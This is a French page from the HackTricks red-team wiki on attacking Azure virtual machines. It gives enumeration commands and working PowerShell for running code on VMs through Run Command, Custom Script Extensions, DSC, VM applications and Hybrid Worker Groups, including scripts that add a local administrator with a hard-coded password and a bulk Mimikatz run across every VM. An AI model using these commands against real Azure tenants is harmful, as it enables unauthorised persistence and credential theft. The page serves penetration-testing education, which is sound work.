Az - Virtual Machines & Network

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks:

Informations de base

À partir de la documentation : Les machines virtuelles Azure sont l'un des plusieurs types de ressources informatiques évolutives à la demande qu'Azure propose. En général, vous choisissez une machine virtuelle lorsque vous avez besoin de plus de contrôle sur l'environnement informatique que les autres choix n'offrent. Cet article vous donne des informations sur ce que vous devez considérer avant de créer une machine virtuelle, comment la créer et comment la gérer.

Informations sur le réseau Azure

Les réseaux Azure contiennent différentes entités et façons de le configurer. Vous pouvez trouver des descriptions brèves, des exemples et des commandes d'énumération des différentes entités réseau Azure dans :

pageAz - Azure Network

Azure Bastion

Azure Bastion offre une solution d'accès sécurisée et entièrement gérée au protocole RDP (Remote Desktop Protocol) et SSH (Secure Shell) via SSL à travers le portail Azure. Il est intégré dans un réseau virtuel Azure, permettant la connectivité RDP et SSH aux machines virtuelles en utilisant des adresses IP privées, évitant ainsi le besoin d'adresses IP publiques. Cela en fait une alternative plus sûre et plus pratique aux méthodes traditionnelles impliquant des attributions d'adresses IP publiques et des configurations de règles NSG pour l'accès aux VM. Les développeurs et le personnel informatique peuvent accéder de manière sécurisée aux VM depuis le portail Azure en utilisant leurs navigateurs web, simplifiant ainsi le processus pour les environnements de développement et de test.

Pour lister tous les hôtes Azure Bastion dans votre abonnement, vous pouvez utiliser la commande suivante :

az network bastion list --query "[].{name:name, resourceGroup:resourceGrou, location:location}" -o table

Énumération des VM

# Get readable VMs
Get-AzVM | fl
# Lis running VMs
Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | fl *
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | select -ExpandProperty NetworkProfile

# Get iface and IP address
Get-AzNetworkInterface -Name <interface_name>
Get-AzPublicIpAddress -Name <iface_public_ip_id>

#Get installed extensions
Get-AzVMExtension -ResourceGroupName <res_group_name> -VMName <name>

Get-AzVM | select -ExpandProperty NetworkProfile # Get name of network connector of VM
Get-AzNetworkInterface -Name <name> # Get info of network connector (like IP)

Exécuter des commandes dans une VM

Connexion AAD dans une VM

Il est possible de permettre l'accès aux utilisateurs authentifiés via AzureAD. Par exemple, en essayant d'accéder à une VM Linux: ssh username@azure-corp.com@1.1.1.1 (il est important d'utiliser l'adresse e-mail avec azurecorp utilisée lors de la tentative de connexion), vous pourriez obtenir une erreur comme suit:

(username@azure-corp.com@1.1.1.1) This preview capability is not for production use. When you sign in, verify the name of the app on the sign-in screen is "Azure Linux VM Sign-in" and the IP address of the target VM is correct.

To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code DT4PNSTGR to authenticate. Press ENTER when ready.

Il vous suffit de suivre ces instructions en allant sur https://microsoft.com/devicelogin et en indiquant le code, utilisez l'e-mail et le mot de passe comme identifiants et vous pourrez vous connecter via SSH (si cet utilisateur a les autorisations nécessaires pour le faire : rôle Virtual Machine Administrator Login ou Virtual Machine User Login).

Exécuter la commande

# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
Invoke-AzVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose
## Another way
Invoke-AzureRmVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose

# Content of the script
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
New-LocalUser -Name new_user -Password $passwd
Add-LocalGroupMember -Group Administrators -Member new_user
# Try to run in every machine
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt

Exécuter l'extension de script personnalisé

Les extensions de machine virtuelle (VM) Azure sont de petites applications qui fournissent une configuration post-déploiement et des tâches d'automatisation sur les VM Azure. Par exemple, si une machine virtuelle nécessite une installation de logiciel, une protection antivirus, ou la capacité d'exécuter un script à l'intérieur, vous pouvez utiliser une extension de VM.

Par conséquent, si vous avez accès pour l'écrire, vous pouvez exécuter du code arbitraire:

# Microsoft.Compute/virtualMachines/extensions/write
Set-AzVMExtension -ResourceGroupName "Research" -ExtensionName "ExecCmd" -VMName "infradminsrv" -Location "Germany West Central" -Publisher Microsoft.Compute -ExtensionType CustomScriptExtension -TypeHandlerVersion 1.8 -SettingString '{"commandToExecute":"powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add"}'

État de configuration souhaité (DSC)

L'état de configuration souhaité (DSC) est un outil PowerShell similaire à Ansible, utilisé pour configurer un hôte via du code. DSC s'intègre à Azure, permettant le téléchargement de fichiers de configuration spécifiques. Ces fichiers doivent respecter une syntaxe stricte. Notamment, l'extension DSC dans Azure peut exécuter des commandes à partir de fichiers répondant à certains critères de formatage, même si la syntaxe n'est pas correcte selon les normes DSC, comme le montre la figure fournie.

L'exécution de ces commandes est facilitée par la fonction Publish-AzVMDscConfiguration dans Az PowerShell. Les exigences incluent un fichier .PS1 avec une fonction définie et le fichier doit être compressé dans un fichier .zip. Même si la syntaxe peut ne pas être précise pour DSC, le code s'exécutera toujours. Cependant, l'extension marquera l'état d'exécution comme "échec", et aucune sortie de la commande ne sera visible en raison de l'écrasement de l'état par le message d'échec.

Définitions d'applications VM

Les définitions d'applications VM permettent le déploiement répétable d'applications versionnées sur une VM Azure. Cette ressource prend en charge le déploiement et la mise à jour d'applications sur des VM. Pour configurer cela, plusieurs étapes sont nécessaires, impliquant des commandes telles que New-AzGalleryApplication et New-AzGalleryApplicationVersion dans Az PowerShell.

L'exécution d'applications ou de commandes par cette méthode implique le "VMAppExtension", qui est installé automatiquement lorsqu'une application est appliquée à une VM. L'extension récupère le fichier à partir de l'URI spécifié et le nomme exactement comme l'application, sans extension. Pour exécuter correctement le fichier, le champ "ManageActions" dans l'appel API REST doit être configuré pour renommer le fichier avec l'extension appropriée. La configuration de cette méthode, une fois terminée, ressemblera à la structure montrée dans la figure fournie.

Cependant, cette méthode d'exécution est relativement lente, prenant environ 3 à 4 minutes pour exécuter une application ou une commande. Les fichiers liés à ce processus sont stockés dans des répertoires spécifiques (C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Downloads\ pour la copie de l'application et C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Status\ pour l'état d'exécution).

Les deux techniques offrent des moyens uniques d'exécuter des commandes et de déployer des applications dans des environnements Azure, chacune avec ses propres exigences, étapes et considérations.

Groupes de travailleurs hybrides (HWGs) dans Azure

Les groupes de travailleurs hybrides (HWGs) sont une fonctionnalité dans Azure qui permet aux Runbooks, configurés dans un compte Automation, d'être exécutés sur une machine virtuelle Azure (VM) faisant partie du HWG désigné. Cette exécution est facilitée par une extension installée sur la VM, qui déploie le code du Runbook sur la VM. Un aspect important de ce processus est que les informations d'identification réelles ne sont pas un facteur dans l'exécution car le code s'exécute avec des privilèges élevés, spécifiquement en tant que SYSTEM ou root, comme illustré dans la figure fournie.

Un détail crucial pour ceux utilisant des VM Windows 10 est la nécessité de spécifier la version de PowerShell pour le Runbook. Il doit être configuré pour s'exécuter en tant que Version PowerShell 5.1 au lieu de 7.1. Cette exigence découle du fait que PowerShell 7.1 n'est pas installé par défaut sur ces VM, ce qui entraînerait un échec de l'exécution du script si la version 7.1 est spécifiée.

Cette fonctionnalité d'Azure offre une méthode robuste pour automatiser et gérer des tâches dans des environnements hybrides, permettant une gestion centralisée et l'exécution de tâches sur des VM Azure.

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks:

Dernière mise à jour